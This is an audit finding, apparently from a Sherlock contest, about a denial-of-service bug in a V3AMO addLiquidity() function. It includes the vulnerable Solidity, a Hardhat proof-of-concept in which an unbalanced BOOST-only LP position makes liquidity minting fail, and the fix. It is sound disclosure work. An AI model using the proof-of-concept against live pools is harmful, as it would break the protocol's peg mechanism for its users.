Liquidity is incorrectly calculated during `addLiquidity()` for V3AMO, causing DoS
The liquidity calculation in addLiquidity() for V3AMO is incorrect because it uses the pool's total liquidity and USD balance, which can be manipulated by adding an unbalanced LP position. An attacker can deposit a large amount of BOOST without USD, inflating the required USD for minting liquidity, causing addLiquidity() and mintSellFarm() to fail.
Source: https://github.com/sherlock-audit/2024-10-axion-judging/issues/280
Found by
0x37, pkqs90, s1ce, spark1
Summary
SolidlyV3 has the same liquidity calculation as UniswapV3. Currently, when adding liquidity, the liquidity calculation is wrong, and may lead to DoS in some cases.
Root Cause
When calling addLiquidity, the amount of liquidity that is suppose to add is calculated by liquidity = (usdAmount * currentLiquidity) / IERC20Upgradeable(usd).balanceOf(pool);. This is incorrect in the terms of UniswapV3, because there may be multiple tickLower/tickUpper positions covering the current tick.
Also, since anyone can add a LP position to the pool, so attackers can easily DoS this function.
Consider an attacker adds an unbalanced LP position that deposits a lot of Boost tokens but doesn't deposit USD tokens. This would increase the total liquidity, and inflate the amount of liquidity calculated in the above formula, which would lead to an increase of USD tokens required to mint the liquidity.
When the amount of requried USD token is above the approved usdAmount, the liquidity minting would fail.
See the following PoC section for a more detailed example.
function _addLiquidity(
uint256 usdAmount,
uint256 minBoostSpend,
uint256 minUsdSpend,
uint256 deadline
) internal override returns (uint256 boostSpent, uint256 usdSpent, uint256 liquidity) {
// Calculate the amount of BOOST to mint based on the usdAmount and boostMultiplier
uint256 boostAmount = (toBoostAmount(usdAmount) * boostMultiplier) / FACTOR;
// Mint the specified amount of BOOST tokens to this contract's address
IMinter(boostMinter).protocolMint(address(this), boostAmount);
// Approve the transfer of BOOST and USD tokens to the pool
IERC20Upgradeable(boost).approve(pool, boostAmount);
@> IERC20Upgradeable(usd).approve(pool, usdAmount);
(uint256 amount0Min, uint256 amount1Min) = sortAmounts(minBoostSpend, minUsdSpend);
@> uint128 currentLiquidity = ISolidlyV3Pool(pool).liquidity();
@> liquidity = (usdAmount * currentLiquidity) / IERC20Upgradeable(usd).balanceOf(pool);
// Add liquidity to the BOOST-USD pool within the specified tick range
(uint256 amount0, uint256 amount1) = ISolidlyV3Pool(pool).mint(
address(this),
tickLower,
tickUpper,
uint128(liquidity),
amount0Min,
amount1Min,
deadline
);
...
}
Internal pre-conditions
N/A
External pre-conditions
N/A
Attack Path
Attackers can brick addLiquidity function by depositing LP.
Impact
Attackers can deposit LP to make add liquidity fail, which also makes mintSellFarm() fail. This is an important feature to keep Boost/USD pegged, thus a high severity issue.
This is basically no cost for attackers since the Boost/USD will always go back to 1:1 so no impermanent loss is incurred.
PoC
Add the following code in SolidlyV3AMO.test.ts. It does the following:
- Add unbalanced liquidity so that total liquidity increases, but USD.balanceOf(pool) does not increase.
- Mint some USD to SolidlyV3AMO for adding liquidity.
- Try to add liquidity, but it fails due to incorrect liquidity calculation (tries to add too much liquidity for not enough USD tokens).
it("Should execute addLiquidity successfully", async function() {
// Step 1: Add unbalanced liquidity so that total liquidity increases, but USD.balanceOf(pool) does not increase.
{
// -276325 is the current slot0 tick.
console.log(await pool.slot0());
await boost.connect(boostMinter).mint(admin.address, boostDesired * 100n);
await testUSD.connect(boostMinter).mint(admin.address, usdDesired * 100n);
await boost.approve(poolAddress, boostDesired * 100n);
await testUSD.approve(poolAddress, usdDesired * 100n);
console.log(await boost.balanceOf(admin.address));
console.log(await testUSD.balanceOf(admin.address));
await pool.mint(
amoAddress,
-276325 - 10,
tickUpper,
liquidity * 3n,
0,
0,
deadline
);
console.log(await boost.balanceOf(admin.address));
console.log(await testUSD.balanceOf(admin.address));
}
// Step 2: Mint some USD to SolidlyV3AMO for adding liquidity.
await testUSD.connect(admin).mint(amoAddress, ethers.parseUnits("1000", 6));
const usdBalance = await testUSD.balanceOf(amoAddress);
// Step 3: Add liquidity fails due to incorrect liquidity calculation.
await expect(solidlyV3AMO.connect(amo).addLiquidity(
usdBalance,
1,
1,
deadline
)).to.emit(solidlyV3AMO, "AddLiquidity");
});
Mitigation
Use the UniswapV3 library for calculating liquidity: https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/LiquidityAmounts.sol#L56
function getLiquidityForAmounts(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint256 amount0,
uint256 amount1
) internal pure returns (uint128 liquidity) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0);
uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1);
liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1;
} else {
liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1);
}
}
Discussion
sherlock-admin2
The protocol team fixed this issue in the following PRs/commits: https://github.com/AXION-MONEY/liquidity-amo/pull/12
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the liquidity calculation uses the pool's total liquidity and USD balance instead of the correct UniswapV3 formula that accounts for the current tick and position range.
Impact
Attackers can deposit LP to make add liquidity fail, which also makes mintSellFarm() fail, disrupting the peg mechanism.
What the attacker needed
Attacker can add LP position to the pool
The fix
The protocol team fixed this issue in the following PRs/commits: https://github.com/AXION-MONEY/liquidity-amo/pull/12
How it was found
- Add unbalanced liquidity so that total liquidity increases, but USD.balanceOf(pool) does not increase.
- Mint some USD to SolidlyV3AMO for adding liquidity.
- Try to add liquidity, but it fails due to incorrect liquidity calculation (tries to add too much liquidity for not enough USD tokens).
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The contract tries to add liquidity to a trading pool by calculating how much liquidity it can mint based on the pool's total liquidity and USD balance. But an attacker can add a lopsided position that increases total liquidity without adding USD, making the calculation think more USD is needed than the contract has. This causes the addLiquidity function to fail, breaking an important feature.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.